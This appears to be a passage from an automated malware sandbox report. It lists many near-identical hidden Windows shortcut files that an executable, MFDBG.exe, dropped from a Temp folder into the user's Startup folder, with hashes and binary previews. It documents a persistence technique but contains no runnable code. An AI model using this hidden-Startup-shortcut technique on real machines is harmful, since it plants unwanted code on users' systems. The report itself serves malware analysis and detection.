File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92781975867344
Encrypted:	false
SSDEEP:	24:8kBfyf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B434C4911F8D89F142097DE02F808CF9
SHA1:	7FC73538AC2239D1A509A58DDFDC4A6CB27D3435
SHA-256:	7E892AE911F9F7E4A992AA0F4504274379F17179C1BE943BD61AE53389A950E0
SHA-512:	2AB87E6B34D2DD47AECC084B8EDE6FEFDE845B93E012ED4E607F39C21A9D759DF0236B96B22C4235292111BBA35C2EC14D3C3ACC88A68AEE944AC7114DDC704C
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....K.[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b3bcd01edd474a47a86c8bd1792d05ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9301589851334
Encrypted:	false
SSDEEP:	24:8aTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3B493D0238084000288A83E14CAB72E0
SHA1:	F8727C3EEE382B7E40D6DF5E44F7EE1ACFD9B0E5
SHA-256:	E0E742CEC0F26611685494A2091BFC7A87CE41E0474FE4ECC0AC3CF3E179B20A
SHA-512:	70B38B3A9A3FC0F765C2FE25034457330AA1AE226F268ECC2315CF4C902DA66511ED377AB676B1838EC70C301D2842E839B967568FD22EC7DBB295F88F84D1D8
Malicious:	false
Preview:	L..................F....".......d....uQ$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b3f508dc44314dccbe78e1357c8cd018.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925713715038584
Encrypted:	false
SSDEEP:	24:8G2BftAp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Z1FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3C5EDC97A6B8B16B9E401ADC6F0F4278
SHA1:	89B756220FB0F70DAADB4F1A7466AF700D3A9E1B
SHA-256:	6EAC018421D80F203F524BBF32095BDA0955A994E32A3FAFCDF48FE76677ED22
SHA-512:	A1BCF4529FC78B12C44F1D6B5BF2656EE2521B5E619FA79D998B9DA31FB71132A2316983BDDE4CCF09E663C46F099ADD60F8C54BC6FB303B99D4A2D0000A9115
Malicious:	false
Preview:	L..................F....".......d...;2i.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...vF].d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b43dd428ab954267b0cc14c2862a3170.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921708867000558
Encrypted:	false
SSDEEP:	24:82QBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82eJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3FE772EA34DD96844BF15FF503E6C515
SHA1:	C354FD63E97E58F732D9DE2EFACE8BDECDEB7DB6
SHA-256:	71D65F5832C9B7E332EF89E604A749F2A76D92B44C696C7849F4774A6F177BF9
SHA-512:	D0DCE9416992AE58587E592111B5224B9D1B38A5469F9858FFBB50566777E0AE10DB69C230A92FBE8514B95805BA36AE5FA1FC139BCB83B31324B8F88C9AACA9
Malicious:	false
Preview:	L..................F....".......d.....V~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3bY~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4a1fcdc28334837b3566d5eab3c9f44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918512041566111
Encrypted:	false
SSDEEP:	24:8GBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F2D99BE6729C9BC7B3FF55FC7F97540D
SHA1:	C0F6BF67B36074BC57EA62EE46EC1F53A13BB1A4
SHA-256:	EA8C1D4FCF4DDC683DEB1E08FB6D4FBBD2E9A3F7B88BDD8905A32BFBD3054D9F
SHA-512:	6A99BC8FCC4791BA516EDC51CAFF6AFA2E38279B4797BD5B7D94C0D4C24B65992421D5BB597B8A9634F3F9BD718AD35DDC0C09369A339EB7F1F5651C6CCB8B57
Malicious:	false
Preview:	L..................F....".......d...r..%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4e3cd0f2cc842d1a90a88be56724008.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918577269690469
Encrypted:	false
SSDEEP:	24:8O2Bf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ByQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4AE47593D60100BDBE1D1BCA7C1CA26F
SHA1:	EC653429B111383E8D5777EF12AC917BA27C0E77
SHA-256:	4819E2B2D04A4C43AF4A16EBA6E2C0497F4AF24E46F2262AC2BE5A519E8A9031
SHA-512:	043175180057350863C623B9EA6F9380825D649DE8A9ECB436D397F58AEADA8820F2FE054D5FCB8F50D789022DC0A85E29BA59FAD5704A5EAE15EE8E4BA00A50
Malicious:	false
Preview:	L..................F....".......d....x.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b52c00d18b264182a7d5195b90c5045f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92781975867344
Encrypted:	false
SSDEEP:	24:8eBfyf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80jEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8B793B33596505BA5EAAE3D0578EE04E
SHA1:	21FE482998F259FF3DA4480DB29DE2F432E2587B
SHA-256:	11A6C65D8C4A0DFCDEFE32F92CF817EDD4F958789911E66447D7C623520DD804
SHA-512:	4683CFEE1D4E1882B6311027D3D01F9C1CD97B5B0E0047B32A814E7E72A4EB940D5DB410CADDD288A041272252292C63C5864F9AE00209AEAAB45A53E9B82962
Malicious:	false
Preview:	L..................F....".......d.....x[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....K.[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b531fa8056124173a8b000f51dc8b32d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791693
Encrypted:	false
SSDEEP:	24:8t2Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mREvZ0yRO7DLO2zdxdRd1kyg
MD5:	0F66BC338168AABFF68A198FAE2B10B5
SHA1:	368A60F3CF36A68C25D6EA53C352FCC7A2B8A3EF
SHA-256:	2E2759C9447AD115B36268222E8D0E0E603CB62F069495061D2C88C4F44C2E58
SHA-512:	BD0816BA3E8A7CCFEA1CB652DB24BC356C7B8074BC3410C86F2E4AFEC14C5EC64199B695E5AACD6A5C4326A6BF3E67FAC82C411FF90BF109DDBC19EC614DB432
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b55b390084094c8892fbee97051125df.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.907667701602461
Encrypted:	false
SSDEEP:	24:8uBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6C83BF65410AE4A9804912003640B896
SHA1:	48257C8C9BE33F004F8F04D79D47F15512C77E1D
SHA-256:	C2D38B8ADF5997FCD116D0A65DCA2CC22409836458C9EFAAB8D9EA3BBF2C1BF6
SHA-512:	1C21761779CC9614C5AA45891E9907975778E8C4F2346A2EDCEADA148DBF1106150240EFBF441BF1BE88A62A4405016E399A820C46CBC1E77CD7A3B6E7248C90
Malicious:	false
Preview:	L..................F....".......d...+.@\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b598ffd3c74c4418bca684bd0a9d1bb4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919265127885296
Encrypted:	false
SSDEEP:	24:8RBfff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rXEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	930AFEDBEC11D0BE3664B6AA5C31665E
SHA1:	2162D818A498EEB59D139F5DF8B02A717203980D
SHA-256:	FC801C35B747BC41BF1AB91CB17C04391E2F74C3872010C08191FF545E1DA6BF
SHA-512:	2D3E088E512E24971AC8ADFFA4F8B426ABD9EDA443EF0E0C7A7B40377E5EDCDBC42E2DF641569C915FFA6C03FA8C2A413A8AAAFBA85302A9945973EBFDD8DD33
Malicious:	false
Preview:	L..................F....".......d....{..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....{..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b616e1c5e4424a1c933f77b62812d3b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917332210860567
Encrypted:	false
SSDEEP:	24:8qBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	792FC531170FB4A2D53E5E969DF57226
SHA1:	7A75491E1922C80AD66AB9838CCBEF2D2E591E78
SHA-256:	84169EE1FE2CE6CF75ECA950413303190590932FC2E9543F96DF65DECCA61260
SHA-512:	BA3C1AE83B0D2769C89716CD903B00CE0B72B26ED3FF2AE6410DEE557ADDC7EA14F8ABD668150DE45D7C1F3E95681EE1C08C78B7BDE25D9BFEB8AC96FB6984F9
Malicious:	false
Preview:	L..................F....".......d.....\:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b64f32d251f4443a90c324e30d32b500.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923814910635417
Encrypted:	false
SSDEEP:	24:82BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6108DFE143857C9DBBF98E3015997A30
SHA1:	28822724C30F2EAC04142C446410F0A9679C8EFA
SHA-256:	A18F63DC301C72FFD856AE2E5D5B3E2A892F6697441720394CC4F343B6ACA941
SHA-512:	6199FB0DC18DD0004E7CFFDA2EC3BB00E4E2C9510E4F3A7B4453D6E7099C44D68DF538C9350F2AD8758BBEB34E64B3B208D9A09D5FAD64B0901774CCC61647E2
Malicious:	false
Preview:	L..................F....".......d.....v.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....9t.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b66567f7a2dc4c5f9ec7bab8df53c2e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928052941498543
Encrypted:	false
SSDEEP:	24:8v/Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6028885ACA53A11DFFB187EC23666F24
SHA1:	A8FAC542200573391BF49F6572BAB1DD8F1AF51A
SHA-256:	AD4D04359A4F63455EB8AE591A3E4C71AE12F9CD6FD8E374DEB803F25F200B41
SHA-512:	44E3E8C16369EFD53665707E6C3025DD484FB989D1641A6F691EEB3CCEF3465579B36A1CE2EA02CF62FB2498118211A7CF4311108CF4FC1A7193EACD6B5CDB45
Malicious:	false
Preview:	L..................F....".......d...>V.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6682343f2ec4234b40dd8d996b47aba.lnk

Download File

